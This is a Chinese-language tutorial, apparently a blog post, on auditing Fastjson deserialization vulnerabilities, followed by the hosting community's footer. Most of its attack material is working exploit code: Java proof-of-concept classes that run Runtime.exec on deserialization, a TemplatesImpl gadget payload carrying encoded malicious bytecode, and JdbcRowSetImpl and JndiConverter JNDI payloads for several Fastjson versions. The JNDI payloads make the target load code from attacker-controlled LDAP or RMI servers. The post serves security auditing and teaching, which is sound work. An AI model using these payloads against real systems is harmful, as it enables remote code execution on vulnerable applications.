一、fastjson反序列化审计思路
Fastjson是Alibaba开发的高性能JSON库,用于将数据在JSON和Java对象之间互相转换,不需要添加额外的依赖,能够直接跑在JDK上。Fastjson是自己实现的一套序列化和反序列化机制,不是用Java原生的序列化和反序列化机制。通过Fastjson反序列化漏洞,攻击者可以传入一个恶意构造的JSON内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行。如果构造函数、get/set方法、static静态代码块存在可利用的入口,则可能导致反序列化漏洞的存在。

二、fastjson反序列化本地代码验证
1.构造函数、get/set方法(需要public权限)、static静态代码块存在可利用的入口,则可能导致反序列化漏洞的存在。

study1
import java.io.IOException;
import java.io.Serializable;

public class Study1 implements Serializable {
    private String name;
    private String baby;
    static{
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
    public    Study1(){
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
    public String getName(){
        try {
            Runtime.getRuntime().exec("calc");
            return name;
        } catch (IOException e) {
            throw new RuntimeException(e);
        }

    }
    public void setBaby(String baby){
        try {
            Runtime.getRuntime().exec("calc");
            this.baby=baby;
        } catch (IOException e) {
            throw new RuntimeException(e);
        }

    }
}

入口执行
import com.alibaba.fastjson.JSON;
import org.junit.Test;

public class FastJsonTest {
    @Test
    public void fastjson(){
        String jsonString = "{\"@type\":\"Study1\",\"baby\":\"ddds\"}";
        Object obj = JSON.parseObject(jsonString);
        System.out.println(obj);
        System.out.println(obj.getClass());
    }
}

在这里插入图片描述
2.基于Templatelmpl
影响范围: FastJson 1.2.22-1.2.24版本
限制: 需要设置Feature.SupportNonPublicField属性才能成功触发。
{“@type”:“com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”,“_bytecodes”:[“yv66vgAAADsAKAo…”],‘_name’:‘a.b’,‘_tfactory’:{},“_outputProperties”:{},“_version”:“1.0”,“allowedProtocols”:“all”}

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import org.apache.commons.codec.binary.Base64;
import org.junit.Test;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.io.IOUtils;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;



public class Templatelmpl {
    private static String readClass(String classFilePath) {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(classFilePath)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
    }
    @Test
    public void Temp(){
        String classFilePath = "src\\test\\java\\poc.class";
        String evilCode = readClass(classFilePath);
        String text1 = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{ }," +",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
        System.out.println(text1);
        Object obj = JSON.parseObject(text1, Object.class, Feature.SupportNonPublicField);
    }
}

poc.java---poc.class
import java.io.IOException;
import java.io.Serializable;

public class poc implements Serializable {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
    public poc() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    public static void main(String[] args) throws IOException {
        poc p = new poc();
    }
}

三、常见历史fastjson反序列化漏洞
基于JdbcRowSetImpl(可以远程利用,黑盒也能测)
由于是利用JNDI注入漏洞来触发的,因此主要的限制因素是JDK版本。RMI利用的JDK版本<=6u141、7u131、8u121,LDAP利用的JDK版本<=6u211、 7u201、8u191。
1.2.22-1.2.24
String payload = “{”@type":“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“ldap://192.168.0.8:1099/poc”, “autoCommit”:true}“;
1.2.48
String payload = “{“name”:{”@type”:“java.lang.Class”,“val”:“com.sun.rowset.JdbcRowSetImpl”},“x”:{“@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“ldap://127.0.0.1:1389/#EvilCalc1”,“autoCommit”:true}}}“;
1.2.62
String text1 = “{”@type”:“org.apache.xbean.propertyeditor.JndiConverter”,“AsText”:“rmi://127.0.0.1:1099/exploit”}";

poc
import com.alibaba.fastjson.JSON;
public class JdbcRowSetImpl {
    public static void main(String[] args) {
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1099/poc\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

开启ldap和web服务
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
补充:Fastjson1.2.25版本新增了checkAutoType方法,设置了autotype开关,对@type字段进行限制。
四、实战中怎么去做fastjson的代码审计

审计0day:
查看pom文件确认使用fastjson组件(非maven项目去找jar,往往放在一个lib,比如webapp/web-inf/lib)-------查找反序列化函数------构造利用点如构造函数、get/set方法(需要public权限)、static静态代码块------利用验证

审计历史漏洞:
查看pom文件(非maven项目去找jar,往往放在一个lib,比如webapp/web-inf/lib)确认使用fastson组件------确认使用fastjon组件版本-------寻找反序列化构造点------poc调用验证

Logo

魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。

更多推荐